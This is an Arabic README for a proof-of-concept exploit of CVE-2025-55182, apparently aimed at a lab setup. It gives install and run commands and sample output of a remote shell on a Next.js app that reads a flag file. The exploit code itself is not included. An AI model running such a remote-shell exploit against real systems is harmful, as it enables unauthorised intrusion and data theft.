CVE-2025-55182

استغلال إثبات المفهوم لـ CVE-2025-55182. عند النجاح، سيقوم بمحاكاة صدفة (shell) على الهدف البعيد عبر طلبات HTTP-POST. يعمل مع كل من HTTP وHTTPS، لكنه يتخطى أي فحوصات للشهادات. يدعم فقط تغييرات الدليل باستخدام المسارات المطلقة.

كيفية الاستخدام

إعداد التبعيات.

# Install systemwide
pipx install requests

# Only install in current directory
python -m venv .
. bin/activate
pip install requests

تشغيل الاستغلال.

python3 ./CVE-2025-55182.py 'https://example.notatld:1337/'

مثال

عند التشغيل بنجاح، يجب أن يبدو المخرجات شيئًا كهذا:

╰─$ python CVE-2025-55182.py http://localhost:1337/
CVE-2025-55182 - PoC Shell
Author: Least-Significant-Bit
Hint: Type 'exit' or 'quit' to exit.

/app/.next/standalone $> cd /app
/app $> ls
app
flag.txt
next-env.d.ts
next.config.mjs
node_modules
package-lock.json
package.json
postcss.config.mjs
public
tailwind.config.ts
tsconfig.json
/app $> cat flag.txt
EXAMPLE_TEST_FLAG

CVE-2025-55182

الأكثر شعبية

CVE-2025-55182

كيفية الاستخدام

مثال